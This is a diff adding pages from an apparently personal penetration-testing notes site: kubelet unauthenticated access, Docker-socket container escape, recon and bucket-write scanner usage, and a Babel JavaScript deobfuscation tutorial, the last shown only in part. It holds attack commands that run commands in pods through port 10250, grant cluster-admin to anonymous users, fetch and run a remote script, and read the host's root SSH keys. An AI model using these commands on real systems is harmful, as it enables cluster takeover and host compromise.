+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/内网渗透/kubernetes/k8s下的各种未授权/Kubelet/index.html b/en/docs/个人知识库/渗透测试/内网渗透/kubernetes/k8s下的各种未授权/Kubelet/index.html new file mode 100644 index 0000000..9a13ff1 --- /dev/null +++ b/en/docs/个人知识库/渗透测试/内网渗透/kubernetes/k8s下的各种未授权/Kubelet/index.html @@ -0,0 +1,36 @@ + + + + + +Kubelet | wjlin0 + + + + + + + +
作者修订时间
wjlin02025-08-19 16:44:07
+

kubelet

+

kubelet 会在集群中每个节点(node)上运行。 它保证容器(containers)都运行在 Pod 中。

+

kubelet 接收一组通过各类机制提供给它的 PodSpecs, 确保这些 PodSpecs 中描述的容器处于运行状态且健康。 kubelet 不会管理不是由 Kubernetes 创建的容器.

+
systemctl status kubelet
+

image-20230713223539104

+

每一个Node节点都有一个kubelet服务,kubelet监听了10250,10248,10255等端口。

+

其中10250端口是kubelet与apiserver进行通信的主要端口,通过该端口kubelet可以知道自己当前应该处理的任务,该端口在最新版Kubernetes是有鉴权的,但在开启了接受匿名请求的情况下,不带鉴权信息的请求也可以使用10250提供的能力;因为Kubernetes流行早期,很多挖矿木马基于该端口进行传播和利用,所以该组件在安全领域部分群体内部的知名度反而会高于 APIServer。

+

如果用户开启了匿名访问kubelet那么,攻击者可任意在pods 执行命令。但仅仅开启 anonymous: true 远远不够,往往还要同时配置apiserver的身份,才能利用。

+

image-20230713223829297

+
[root@k8s-master01 k8s.yaml]# cat rbac.yaml 
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: anonymous-access
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: Group
name: system:unauthenticated
[root@k8s-master01 k8s.yaml]# kubectl apply -f rbac.yaml
+

image-20230713223929599

+

利用​

+

查看可以用pods

+
# 执行命令
curl -k "https://192.168.3.105:10250/run/<namespace>/<pod-name>/<container-name>" -d 'cmd=ls'
+

image-20230713231420098

+

参考​

+
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/内网渗透/kubernetes/k8s下的各种未授权/index.html b/en/docs/个人知识库/渗透测试/内网渗透/kubernetes/k8s下的各种未授权/index.html new file mode 100644 index 0000000..9f2210b --- /dev/null +++ b/en/docs/个人知识库/渗透测试/内网渗透/kubernetes/k8s下的各种未授权/index.html @@ -0,0 +1,30 @@ + + + + + +k8s下的各种未授权 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/内网渗透/kubernetes/容器逃逸的手法/index.html b/en/docs/个人知识库/渗透测试/内网渗透/kubernetes/容器逃逸的手法/index.html new file mode 100644 index 0000000..10c4f5a --- /dev/null +++ b/en/docs/个人知识库/渗透测试/内网渗透/kubernetes/容器逃逸的手法/index.html @@ -0,0 +1,41 @@ + + + + + +容器逃逸的手法 | wjlin0 + + + + + + + +

容器逃逸的手法

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:32:47
+

容器逃逸

+

Docker容器不同于虚拟机,它与宿主机操作系统共享内核。宿主机和容器之间通过内核命名空间(namespaces)、内核Capabilities、CGroups(control groups)等技术进行隔离;但是许多危险操作或者漏洞导致攻击者可以从容器里边逃逸到宿主机上,常用的逃逸手法包含四类:危险配置、危险挂载、组件漏洞、内核漏洞。

+

危险挂载​

+

01. Docker socket​

+
+

Docker Socket是Docker守护进程监听的Unix域套接字,用来与守护进程通信。如果将Docker Socket(/var/run/docker.sock)挂载到容器内,则在容器内可以控制主机上的Docker创建新的恶意容器,从而实现逃逸

+
+

docker.sock这个文件被挂载到容器1中,可以通过容器1中操作宿主机重新启动一个docker容器2并将 / 文件挂载到l,在容器2 中操作

+
docker run --rm -it -v /run/docker.sock:/run/docker.sock ubuntu:20.04 /bin/bash
+
apt-get update
apt-get install -y curl && bash -c "$(curl -fsSL https://get.docker.com/)" && \
docker -H unix:///docker.sock run --rm -it -v /:/hosts ubuntu cat /hosts/root/.ssh/authorized_keys
+

image-20231016225823326

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/基线检查/index.html b/en/docs/个人知识库/渗透测试/基线检查/index.html new file mode 100644 index 0000000..af82137 --- /dev/null +++ b/en/docs/个人知识库/渗透测试/基线检查/index.html @@ -0,0 +1,30 @@ + + + + + +基线检查 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/工具使用/PathScan/index.html b/en/docs/个人知识库/渗透测试/工具使用/PathScan/index.html new file mode 100644 index 0000000..602aa40 --- /dev/null +++ b/en/docs/个人知识库/渗透测试/工具使用/PathScan/index.html @@ -0,0 +1,79 @@ + + + + + +PathScan | wjlin0 + + + + + + + +
作者修订时间
wjlin02024-04-01 15:28:54
+

pathScan

+

pathScan 是一个用Go编写的路径扫描工具,它允许您快速可靠的扫描URL地址和子域名信息收集。

+

地址: https://github.com/wjlin0/pathScan

+

pathScan安装​

+

pathScan在安装前无需任何环境只需要下载已打包好的二进制文件,并根据操作系统选出相应的二进制文件

+

例如,使用 wget、curl安装

+
wget -o pathScan.zip https://github.com/wjlin0/pathScan/releases/download/v2.0.6/pathScan_2.0.6_windows_amd64.zip
curl -L -o pathScan.zip https://github.com/wjlin0/pathScan/releases/download/v2.0.6/pathScan_2.0.6_linux_amd64.zip
+

最后选择解压并移植到环境变量中的目录中

+
unzip pathScan.zip -d pathScan && chmod +x pathScan/pathScan && mv pathScan/pathScan /usr/local/bin/pathScan && rm -rf pathScan
pathScan -v
+

当然如果你找不到你对应系统的二进制文件,那么你可以选择以下方式

+

go -> pathScan需要go1.21才能安装成功

+
go install -v github.com/wjlin0/pathScan@latest
+

使用​

+

下载配置文件​

+

pathScan第一次运行会创建配置文件到 $HOME/.config/pathScan/ 中

+

image-20240331021527107

+

当然初始化时这些文件并不存在配置,其中

+
    +
  • match-config 为指纹识别文件目录,这个文件可从用命令 pathScan -um 下载最新的指纹识别库
  • +
+

image-20240331021947545

+
    +
  • +

    provider-config.yaml 为网络空间测绘搜索引擎的API配置文件,可以设置多个key,运行时随机选择key

    +

    image-20240331022018093

    +
  • +
  • +

    config.yaml 为命令行配置,如果你不想输入过长的命令,则可以将参数配置在该文中,运行时会自动读取该文件内容

    +
  • +
+

image-20240331022052551

+

基本使用​

+
+

探寻一个完整的基本路径,并排除404响应

+
+
pathScan -u https://wjlin0.com -sc 404
+

image-20240331022150281

+

当错误过多时,你可以选择排除一些不必要的 比如排除长度 483的

+
pathScan -u https://wjlin0.com -sc 404 -sbl 483
+

image-20240331022403681

+

网络测绘​

+
    +
  • 从网络空间中,发现目标
  • +
+
# 首先得把key配置到 provider-config.yaml 文件中
pathScan -ue quake -uq 'domain: "baidu.com"' -uc -sc 404
+

image-20230709115619203

+

域名搜索​

+
+

pathScan 其中内置了许多爬虫以及网络空间如下,默认选择所有进行收集,并进行指纹探测这是一体的

+

shodan censys fofa quake hunter zoomeye netlas criminalip publicwww hunterhow binaryedge github fullhunt zone0 shodan-idb anubis-spider sitedossier-spider fofa-spider bing-spider chinaz-spider google-spider ip138-spider qianxun-spider rapiddns-spider baidu-spider yahoo-spider zoomeye-spider

+
+
pathScan -s -sq wjlin0.com 
+
➜  ~ pathScan -s -sq wjlin0.com

__ __ ____
___ ___ _ / /_ / / / __/____ ___ _ ___
/ _ \/ _ // __// _ \ _\ \ / __// _ // _ \
/ .__/\_,_/ \__//_//_//___/ \__/ \_,_//_//_/
/_/

wjlin0.com

慎用。你要为自己的行为负责
开发者不承担任何责任,也不对任何误用或损坏负责.
[INF] Current pathScan version v2.0.5 (latest)
[INF] Current pathScan-match version 1.1.2 (latest)
[INF] PathScan-match templates loaded for current scan: 68
[INF] Subdomain engine: ["shodan", "censys", "fofa", "quake", "hunter", "zoomeye", "netlas", "criminalip", "publicwww", "hunterhow", "binaryedge", "github", "fullhunt", "zone0", "shodan-idb", "anubis-spider", "sitedossier-spider", "fofa-spider", "bing-spider", "chinaz-spider", "google-spider", "ip138-spider", "qianxun-spider", "rapiddns-spider", "baidu-spider", "yahoo-spider", "zoomeye-spider"]
[INF] Subdomain query: ["wjlin0.com"]
[ERR] only ip/cidr are accepted
[INF] Running check alive on input host
[INF] Found 17 URL of alive hosts
[INF] Total number of Requests: 510
http://101.43.95.147:80/ [404] [146] [101.43.95.147] [waf-detect:nginxgeneric] [404 Not Found]
http://42.101.4.41:80/ [403] [554] [42.101.4.41] [waf-detect:apachegeneric] [403 Forbidden]
https://101.43.95.147:443/ [404] [548] [101.43.95.147] [waf-detect:nginxgeneric] [404 Not Found]
https://101.43.95.147/ [404] [548] [101.43.95.147] [waf-detect:nginxgeneric] [404 Not Found]
http://172.67.183.17:8080/ [403] [16] [172.67.183.17] [waf-detect:cloudflare]
http://172.67.183.17:443/ [400] [253] [172.67.183.17] [waf-detect:cloudflare] [400 The plain HTTP request was sent to HTTPS port]
http://172.67.183.17:8443/ [400] [253] [172.67.183.17] [waf-detect:cloudflare] [400 The plain HTTP request was sent to HTTPS port]
http://172.67.183.17:80/ [403] [16] [172.67.183.17] [waf-detect:cloudflare]
http://101.43.95.147:80/ [404] [548] [101.43.95.147] [waf-detect:nginxgeneric] [404 Not Found]
http://42.101.4.41:80/ [403] [152] [42.101.4.41] [java-jsp:jsp,waf-detect:apachegeneric] [403 Forbidden]
https://dns.wjlin0.com/ [404] [172.67.183.17] [waf-detect:cloudflare]
https://book.wjlin0.com/ [404] [3082] [172.67.183.17] [waf-detect:cloudflare] [Page Not Found]
https://101.43.95.147/ [404] [146] [101.43.95.147] [waf-detect:nginxgeneric] [404 Not Found]
https://101.43.95.147:443/ [404] [146] [101.43.95.147] [waf-detect:nginxgeneric] [404 Not Found]
https://cdusec.wjlin0.com/ [404] [3082] [104.21.36.16] [waf-detect:cloudflare] [Page Not Found]
https://blog.wjlin0.com/ [404] [3082] [104.21.36.16] [waf-detect:cloudflare] [Page Not Found]
https://wjlin0.com/ [200] [2288] [101.43.95.147]
........
........
........
+

配合其他工具​

+
+

pathScan 支持标准输入输出,所以你可以轻松从其他的工具的输出结果获取到,再从标准输出传递给其他工具。

+
+
cat url.txt | pathScan -ps / -silent | nuclei
+

image-20240331022535664

+

更多用法​

+
➜  ~ pathScan -h
pathScan 2.0.5 Go 扫描、信息收集工具

Usage:
pathScan [flags]

Flags:
输入:
-u, -url string[] 目标(以逗号分割)
-list string[] 从文件中,读取目标

扫描字典:
-ps, -path string[] 路径(以逗号分割)
-pl, -path-list string[] 从文件中,读取路径
-ldd, -load-default-dict 目标超过一个时,是否加载默认字典
-lad, -load-api-dict 是否加载api字典

子域名收集模式:
-s, -sub 子域名收集
-sq, -sub-query string[] 需要收集的域名 (支持从文件中录入 -sq /tmp/sub-query.txt)
-sl, -sub-limit int 每个搜索引擎返回的至少不超过数 (default 1000)
-so, -sub-output string 子域名搜索结果保存 支持csv格式输出
-se, -sub-engine string[] 子域名搜索引擎 [shodan censys fofa quake hunter zoomeye netlas criminalip publicwww hunterhow binaryedge github fullhunt zone0 shodan-idb anubis-spider sitedossier-spider fofa-spider bing-spider chinaz-spider google-spider ip138-spider qianxun-spider rapiddns-spider baidu-spider yahoo-spider zoomeye-spider] (default all)

引擎搜索模式:
-uc, -uncover 启用打开搜索引擎
-uq, -uncover-query string[] 搜索查询
-ue, -uncover-engine string[] 支持的引擎 [shodan censys fofa quake hunter zoomeye netlas criminalip publicwww hunterhow binaryedge github fullhunt zone0] (default fofa)
-uf, -uncover-field string 引擎返回字段 (ip,port,host) (default "host")
-ul, -uncover-limit int 发现要返回的结果 (default 100)
-uo, -uncover-output string 搜索引擎查询结果保存 支持csv格式输出

跳过:
-su, -skip-url string[] 跳过的目标(以逗号分割,支持从文件读取 -su /tmp/skip-url.txt)
-sc, -skip-code string[] 跳过状态码(以逗号分割,支持从文件读取 -sc /tmp/skip-code.txt, 支持 5xx、300-399 )
-sh, -skip-hash string 跳过指定hash
-sbl, -skip-body-len string[] 跳过body固定长度(支持 100-200,即长度为100~200之间的均跳过,支持 从文件中读取 -sbl /tmp/skip-body-len.txt)
-sbr, -skip-body-regex string[] 跳过body正则匹配(以逗号分割,支持从文件读取 -sbr /tmp/skip-regex.txt)

输出:
-o, -output string 输出文件路径(可忽略)
-csv csv格式输出
-html html格式输出
-silent 简略输出
-nc, -no-color 无颜色输出
-vb, -verbose 详细输出模式
-debug 调试输出

工具:
-gh, -get-hash 计算hash
-shm, -skip-hash-method string 指定hash的方法(sha256,md5,sha1) (default "sha256")

模版规则:
-validate 验证指纹文件
-mf, -match-file string 指纹文件目录或文件
-dsm, -disable-scan-match 禁用指纹识别

配置:
-no-stdin disable stdin processing
-rs, -retries int 重试
-p, -proxy string[] 代理
-resolvers string[] 自定义DNS列表( 文件或逗号隔开 )
-nn, -not-new 允许重定向
-dac, -disable-alive-check 跳过活跃检查
-sdl, -scan-domain-list string[] 从响应中中发现其他域名(逗号隔开,支持文件读取 -sdl /tmp/otherDomain.txt)
-sd, -scan-domain 从响应中发现其他域名
-v, -version 输出版本

请求头参数:
-m, -method string[] 请求方法 [GET HEAD POST PUT PATCH DELETE CONNECT OPTIONS TRACE] (default ["GET"])
-ua, -user-agent string[] User-Agent (支持从文件中录入 -ua /tmp/user-agent.txt)
-c, -cookie string cookie
-auth, -authorization string Auth请求头
-header string[] 自定义请求头,以逗号隔开 (支持从文件中录入 -header /tmp/header.txt)
-b, -body string 自定义请求体

速率:
-t, -thread int 线程 (default 50)
-rl, -rate-limit int 每秒允许的HTTP连接数 (default 150)
-http-timeout int HTTP请求超时时间 (default 15)

更新:
-update 更新版本
-um, -update-match 更新指纹识别库
-duc, -disable-update-check 跳过自动检查更新


EXAMPLES:

运行 pathScan 扫描路径, 指定单个目标 跳过 4xx 5xx 输出:
$ pathScan -u https://example.com/ -sc 4xx,5xx

运行 pathScan 搜索引擎:
$ pathScan -ue fofa -uq 'app="tomcat"'

运行 pathScan 收集子域名 指定输出:
$ pathScan -sq example.com -csv -o out.csv

运行 pathScan 收集子域名 并配合 nuclei 进行自动化漏洞扫描:
$ pathScan -sq example.com -silent | nuclei

其他文档可在以下网址获得: https://github.com/wjlin0/pathScan/
+

总结​

+

pathScan是一款高效的,采用go语言开发,快速的发现目标信息,并收集信息,这对我们渗透测试有则很大的帮助.同时pathScan也有许多功能尚未完善,欢迎大家提交pull requests

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/工具使用/oss-put/index.html b/en/docs/个人知识库/渗透测试/工具使用/oss-put/index.html new file mode 100644 index 0000000..5a6ddbe --- /dev/null +++ b/en/docs/个人知识库/渗透测试/工具使用/oss-put/index.html @@ -0,0 +1,22 @@ + + + + + +oss-put | wjlin0 + + + + + + + +
作者修订时间
wjlin02025-08-19 16:43:09
+

oss-put

+

最新在挖src的时候很容易碰到存储桶的put写入,nuclei 也有相关的poc,但是我觉得这样效率太慢了,于是写了一个简单的 工具,更快更高效的发现存储桶任意文件漏洞。

+

类似于下面这种

+

image-20240121220930915

+

可以结合我之前写的工具,进行一个批量的验证

+
# pathScan 收集 example.com 相关子域名 至 url.txt
pathScan -s -sq 'example.com' -o url.txt
# oss-put 发现存在oss任意文件写入的目标
./oss-put.py -list url.txt -o output.txt
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/渗透手法/JS还原/index.html b/en/docs/个人知识库/渗透测试/渗透手法/JS还原/index.html new file mode 100644 index 0000000..6b45998 --- /dev/null +++ b/en/docs/个人知识库/渗透测试/渗透手法/JS还原/index.html @@ -0,0 +1,344 @@ + + + + + +JS还原 | wjlin0 + + + + + + + +

JS还原

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:35:28
+

逆向进阶,利用 AST 技术还原 JavaScript 混淆代码

+

img

+

什么是 AST​

+

AST(Abstract Syntax Tree),中文抽象语法树,简称语法树(Syntax Tree),是源代码的抽象语法结构的树状表现形式,树上的每个节点都表示源代码中的一种结构。语法树不是某一种编程语言独有的,JavaScript、Python、Java、Golang 等几乎所有编程语言都有语法树。

+

小时候我们得到一个玩具,总喜欢把玩具拆解成一个一个小零件,然后按照我们自己的想法,把零件重新组装起来,一个新玩具就诞生了。而 JavaScript 就像一台精妙运作的机器,通过 AST 解析,我们也可以像童年时拆解玩具一样,深入了解 JavaScript 这台机器的各个零部件,然后重新按照我们自己的意愿来组装。

+

AST 的用途很广,IDE 的语法高亮、代码检查、格式化、压缩、转译等,都需要先将代码转化成 AST 再进行后续的操作,ES5 和 ES6 语法差异,为了向后兼容,在实际应用中需要进行语法的转换,也会用到 AST。AST 并不是为了逆向而生,但做逆向学会了 AST,在解混淆时可以如鱼得水。

+

AST 有一个在线解析网站:https://astexplorer.net/ ,顶部可以选择语言、编译器、是否开启转化等,如下图所示,区域①是源代码,区域②是对应的 AST 语法树,区域③是转换代码,可以对语法树进行各种操作,区域④是转换后生成的新代码。图中原来的 Unicode 字符经过操作之后就变成了正常字符。

+

语法树没有单一的格式,选择不同的语言、不同的编译器,得到的结果也是不一样的,在 JavaScript 中,编译器有 Acorn、Espree、Esprima、Recast、Uglify-JS 等,使用最多的是 Babel,后续的学习也是以 Babel 为例。

+

01

+

AST 在编译中的位置​

+

在编译原理中,编译器转换代码通常要经过三个步骤:词法分析(Lexical Analysis)、语法分析(Syntax Analysis)、代码生成(Code Generation),下图生动展示了这一过程:

+

02

+

词法分析​

+

词法分析阶段是编译过程的第一个阶段,这个阶段的任务是从左到右一个字符一个字符地读入源程序,然后根据构词规则识别单词,生成 token 符号流,比如 isPanda('🐼'),会被拆分成 isPanda,(,'🐼',) 四部分,每部分都有不同的含义,可以将词法分析过程想象为不同类型标记的列表或数组。

+

03

+

语法分析​

+

语法分析是编译过程的一个逻辑阶段,语法分析的任务是在词法分析的基础上将单词序列组合成各类语法短语,比如“程序”,“语句”,“表达式”等,前面的例子中,isPanda('🐼') 就会被分析为一条表达语句 ExpressionStatement,isPanda() 就会被分析成一个函数表达式 CallExpression,🐼 就会被分析成一个变量 Literal 等,众多语法之间的依赖、嵌套关系,就构成了一个树状结构,即 AST 语法树。

+

04

+

代码生成​

+

代码生成是最后一步,将 AST 语法树转换成可执行代码即可,在转换之前,我们可以直接操作语法树,进行增删改查等操作,例如,我们可以确定变量的声明位置、更改变量的值、删除某些节点等,我们将语句 isPanda('🐼') 修改为一个布尔类型的 Literal:true,语法树就有如下变化:

+

05

+

Babel 简介​

+

Babel 是一个 JavaScript 编译器,也可以说是一个解析库,Babel 中文网:https://www.babeljs.cn/ ,Babel 英文官网:https://babeljs.io/ ,Babel 内置了很多分析 JavaScript 代码的方法,我们可以利用 Babel 将 JavaScript 代码转换成 AST 语法树,然后增删改查等操作之后,再转换成 JavaScript 代码。

+

Babel 包含的各种功能包、API、各方法可选参数等,都非常多,本文不一一列举,在实际使用过程中,应当多查询官方文档,或者参考文末给出的一些学习资料。Babel 的安装和其他 Node 包一样,需要哪个安装哪个即可,比如 npm install @babel/core @babel/parser @babel/traverse @babel/generator

+

在做逆向解混淆中,主要用到了 Babel 的以下几个功能包,本文也仅介绍以下几个功能包:

+
    +
  1. @babel/core:Babel 编译器本身,提供了 babel 的编译 API;
  2. +
  3. @babel/parser:将 JavaScript 代码解析成 AST 语法树;
  4. +
  5. @babel/traverse:遍历、修改 AST 语法树的各个节点;
  6. +
  7. @babel/generator:将 AST 还原成 JavaScript 代码;
  8. +
  9. @babel/types:判断、验证节点的类型、构建新 AST 节点等。
  10. +
+

06

+

@babel/core​

+

Babel 编译器本身,被拆分成了三个模块:@babel/parser、@babel/traverse、@babel/generator,比如以下方法的导入效果都是一样的:

+
const parse = require("@babel/parser").parse;

const parse = require("@babel/core").parse;


const traverse = require("@babel/traverse").default

const traverse = require("@babel/core").traverse
+

@babel/parser​

+

@babel/parser 可以将 JavaScript 代码解析成 AST 语法树,其中主要提供了两个方法:

+
    +
  • parser.parse(code, [{options}]):解析一段 JavaScript 代码;
  • +
  • parser.parseExpression(code, [{options}]):考虑到了性能问题,解析单个 JavaScript 表达式。
  • +
+

部分可选参数 options:

+ + + + + + + + + + + + + + + + + + + + + + + + + +
参数描述
allowImportExportEverywhere默认 import 和 export 声明语句只能出现在程序的最顶层,设置为 true 则在任何地方都可以声明
allowReturnOutsideFunction默认如果在顶层中使用 return 语句会引起错误,设置为 true 就不会报错
sourceType默认为 script,当代码中含有 import 、export 等关键字时会报错,需要指定为 module
errorRecovery默认如果 babel 发现一些不正常的代码就会抛出错误,设置为 true 则会在保存解析错误的同时继续解析代码,错误的记录将被保存在最终生成的 AST 的 errors 属性中,当然如果遇到严重的错误,依然会终止解析
+

举个例子看得比较清楚:

+
const parser = require("@babel/parser");



const code = "const a = 1;";

const ast = parser.parse(code, {sourceType: "module"})

console.log(ast)
+

{sourceType: "module"} 演示了如何添加可选参数,输出的就是 AST 语法树,这和在线网站 https://astexplorer.net/ 解析出来的语法树是一样的:

+

07

+

@babel/generator​

+

@babel/generator 可以将 AST 还原成 JavaScript 代码,提供了一个 generate 方法:generate(ast, [{options}], code)。

+

部分可选参数 options:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
参数描述
auxiliaryCommentBefore在输出文件内容的头部添加注释块文字
auxiliaryCommentAfter在输出文件内容的末尾添加注释块文字
comments输出内容是否包含注释
compact输出内容是否不添加空格,避免格式化
concise输出内容是否减少空格使其更紧凑一些
minified是否压缩输出代码
retainLines尝试在输出代码中使用与源代码中相同的行号
+

接着前面的例子,原代码是 const a = 1;,现在我们把 a 变量修改为 b,值 1 修改为 2,然后将 AST 还原生成新的 JS 代码:

+
const parser = require("@babel/parser");

const generate = require("@babel/generator").default



const code = "const a = 1;";

const ast = parser.parse(code, {sourceType: "module"})

ast.program.body[0].declarations[0].id.name = "b"

ast.program.body[0].declarations[0].init.value = 2

const result = generate(ast, {minified: true})



console.log(result.code)
+

最终输出的是 const b=2;,变量名和值都成功更改了,由于加了压缩处理,等号左右两边的空格也没了。

+

代码里 {minified: true} 演示了如何添加可选参数,这里表示压缩输出代码,generate 得到的 result 得到的是一个对象,其中的 code 属性才是最终的 JS 代码。

+

代码里 ast.program.body[0].declarations[0].id.name 是 a 在 AST 中的位置,ast.program.body[0].declarations[0].init.value 是 1 在 AST 中的位置,如下图所示:

+

08

+

@babel/traverse​

+

当代码多了,我们不可能像前面那样挨个定位并修改,对于相同类型的节点,我们可以直接遍历所有节点来进行修改,这里就用到了 @babel/traverse,它通常和 visitor 一起使用,visitor 是一个对象,这个名字是可以随意取的,visitor 里可以定义一些方法来过滤节点,这里还是用一个例子来演示:

+
const parser = require("@babel/parser");

const generate = require("@babel/generator").default

const traverse = require("@babel/traverse").default



const code = `

const a = 1500;

const b = 60;

const c = "hi";

const d = 787;

const e = "1244";

`

const ast = parser.parse(code)



const visitor = {

NumericLiteral(path){

path.node.value = (path.node.value + 100) * 2

},

StringLiteral(path){

path.node.value = "I Love JavaScript!"

}

}



traverse(ast, visitor)

const result = generate(ast)

console.log(result.code)
+

这里的原始代码定义了 abcde 五个变量,其值有数字也有字符串,我们在 AST 中可以看到对应的类型为 NumericLiteral 和 StringLiteral:

+

09

+

然后我们声明了一个 visitor 对象,然后定义对应类型的处理方法,traverse 接收两个参数,第一个是 AST 对象,第二个是 visitor,当 traverse 遍历所有节点,遇到节点类型为 NumericLiteral 和 StringLiteral 时,就会调用 visitor 中对应的处理方法,visitor 中的方法会接收一个当前节点的 path 对象,该对象的类型是 NodePath,该对象有非常多的属性,以下介绍几种最常用的:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性描述
toString()当前路径的源码
node当前路径的节点
parent当前路径的父级节点
parentPath当前路径的父级路径
type当前路径的类型
+

PS:path 对象除了有很多属性以外,还有很多方法,比如替换节点、删除节点、插入节点、寻找父级节点、获取同级节点、添加注释、判断节点类型等,可在需要时查询相关文档或查看源码,后续介绍 @babel/types 部分将会举部分例子来演示,以后的实战文章中也会有相关实例,篇幅有限本文不再细说。

+

因此在上面的代码中,path.node.value 就拿到了变量的值,然后我们就可以进一步对其进行修改了。以上代码运行后,所有数字都会加上100后再乘以2,所有字符串都会被替换成 I Love JavaScript!,结果如下:

+
const a = 3200;

const b = 320;

const c = "I Love JavaScript!";

const d = 1774;

const e = "I Love JavaScript!";
+

如果多个类型的节点,处理的方式都一样,那么还可以使用 | 将所有节点连接成字符串,将同一个方法应用到所有节点:

+
const visitor = {

"NumericLiteral|StringLiteral"(path) {

path.node.value = "I Love JavaScript!"

}

}
+

visitor 对象有多种写法,以下几种写法的效果都是一样的:

+
const visitor = {

NumericLiteral(path){

path.node.value = (path.node.value + 100) * 2

},

StringLiteral(path){

path.node.value = "I Love JavaScript!"

}

}
const visitor = {

NumericLiteral: function (path){

path.node.value = (path.node.value + 100) * 2

},

StringLiteral: function (path){

path.node.value = "I Love JavaScript!"

}

}
const visitor = {

NumericLiteral: {

enter(path) {

path.node.value = (path.node.value + 100) * 2

}

},

StringLiteral: {

enter(path) {

path.node.value = "I Love JavaScript!"

}

}

}
const visitor = {

enter(path) {

if (path.node.type === "NumericLiteral") {

path.node.value = (path.node.value + 100) * 2

}

if (path.node.type === "StringLiteral") {

path.node.value = "I Love JavaScript!"

}

}

}
+

以上几种写法中有用到了 enter 方法,在节点的遍历过程中,进入节点(enter)与退出(exit)节点都会访问一次节点,traverse 默认在进入节点时进行节点的处理,如果要在退出节点时处理,那么在 visitor 中就必须声明 exit 方法。

+

@babel/types​

+

@babel/types 主要用于构建新的 AST 节点,前面的示例代码为 const a = 1;,如果想要增加内容,比如变成 const a = 1; const b = a * 5 + 1;,就可以通过 @babel/types 来实现。

+

首先观察一下 AST 语法树,原语句只有一个 VariableDeclaration 节点,现在增加了一个:

+

10

+

那么我们的思路就是在遍历节点时,遍历到 VariableDeclaration 节点,就在其后面增加一个 VariableDeclaration 节点,生成 VariableDeclaration 节点,可以使用 types.variableDeclaration() 方法,在 types 中各种方法名称和我们在 AST 中看到的是一样的,只不过首字母是小写的,所以我们不需要知道所有方法的情况下,也能大致推断其方法名,只知道这个方法还不行,还得知道传入的参数是什么,可以查文档,不过K哥这里推荐直接看源码,非常清晰明了,以 Pycharm 为例,按住 Ctrl 键,再点击方法名,就进到源码里了:

+

11

+
function variableDeclaration(kind: "var" | "let" | "const", declarations: Array<BabelNodeVariableDeclarator>)
+

可以看到需要 kind 和 declarations 两个参数,其中 declarations 是 VariableDeclarator 类型的节点组成的列表,所以我们可以先写出以下 visitor 部分的代码,其中 path.insertAfter() 是在该节点之后插入新节点的意思:

+
const visitor = {

VariableDeclaration(path) {

let declaration = types.variableDeclaration("const", [declarator])

path.insertAfter(declaration)

}

}
+

接下来我们还需要进一步定义 declarator,也就是 VariableDeclarator 类型的节点,查询其源码如下:

+
function variableDeclarator(id: BabelNodeLVal, init?: BabelNodeExpression)
+

观察 AST,id 为 Identifier 对象,init 为 BinaryExpression 对象,如下图所示:

+

12

+

先来处理 id,可以使用 types.identifier() 方法来生成,其源码为 function identifier(name: string),name 在这里就是 b 了,此时 visitor 代码就可以这么写:

+
const visitor = {

VariableDeclaration(path) {

let declarator = types.variableDeclarator(types.identifier("b"), init)

let declaration = types.variableDeclaration("const", [declarator])

path.insertAfter(declaration)

}

}
+

然后再来看 init 该如何定义,首先仍然是看 AST 结构:

+

13

+

init 为 BinaryExpression 对象,left 左边是 BinaryExpression,right 右边是 NumericLiteral,可以用 types.binaryExpression() 方法来生成 init,其源码如下:

+
function binaryExpression(

operator: "+" | "-" | "/" | "%" | "*" | "**" | "&" | "|" | ">>" | ">>>" | "<<" | "^" | "==" | "===" | "!=" | "!==" | "in" | "instanceof" | ">" | "<" | ">=" | "<=",

left: BabelNodeExpression | BabelNodePrivateName,

right: BabelNodeExpression

)
+

此时 visitor 代码就可以这么写:

+
const visitor = {

VariableDeclaration(path) {

let init = types.binaryExpression("+", left, right)

let declarator = types.variableDeclarator(types.identifier("b"), init)

let declaration = types.variableDeclaration("const", [declarator])

path.insertAfter(declaration)

}

}
+

然后继续构造 left 和 right,和前面的方法一样,观察 AST 语法树,查询对应方法应该传入的参数,层层嵌套,直到把所有的节点都构造完毕,最终的 visitor 代码应该是这样的:

+
const visitor = {

VariableDeclaration(path) {

let left = types.binaryExpression("*", types.identifier("a"), types.numericLiteral(5))

let right = types.numericLiteral(1)

let init = types.binaryExpression("+", left, right)

let declarator = types.variableDeclarator(types.identifier("b"), init)

let declaration = types.variableDeclaration("const", [declarator])

path.insertAfter(declaration)

path.stop()

}

}
+

注意:path.insertAfter() 插入节点语句后面加了一句 path.stop(),表示插入完成后立即停止遍历当前节点和后续的子节点,添加的新节点也是 VariableDeclaration,如果不加停止语句的话,就会无限循环插入下去。

+

插入新节点后,再转换成 JavaScript 代码,就可以看到多了一行新代码,如下图所示:

+

14

+

常见混淆还原​

+

了解了 AST 和 babel 后,就可以对 JavaScript 混淆代码进行还原了,以下是部分样例,带你进一步熟悉 babel 的各种操作。

+

字符串还原​

+

文章开头的图中举了个例子,正常字符被换成了 Unicode 编码:

+
console['\u006c\u006f\u0067']('\u0048\u0065\u006c\u006c\u006f\u0020\u0077\u006f\u0072\u006c\u0064\u0021')
+

观察 AST 结构:

+

15

+

我们发现 Unicode 编码对应的是 raw,而 rawValue 和 value 都是正常的,所以我们可以将 raw 替换成 rawValue 或 value 即可,需要注意的是引号的问题,本来是 console["log"],你还原后变成了 console[log],自然会报错的,除了替换值以外,这里直接删除 extra 节点,或者删除 raw 值也是可以的,所以以下几种写法都可以还原代码:

+
const parser = require("@babel/parser");

const generate = require("@babel/generator").default

const traverse = require("@babel/traverse").default



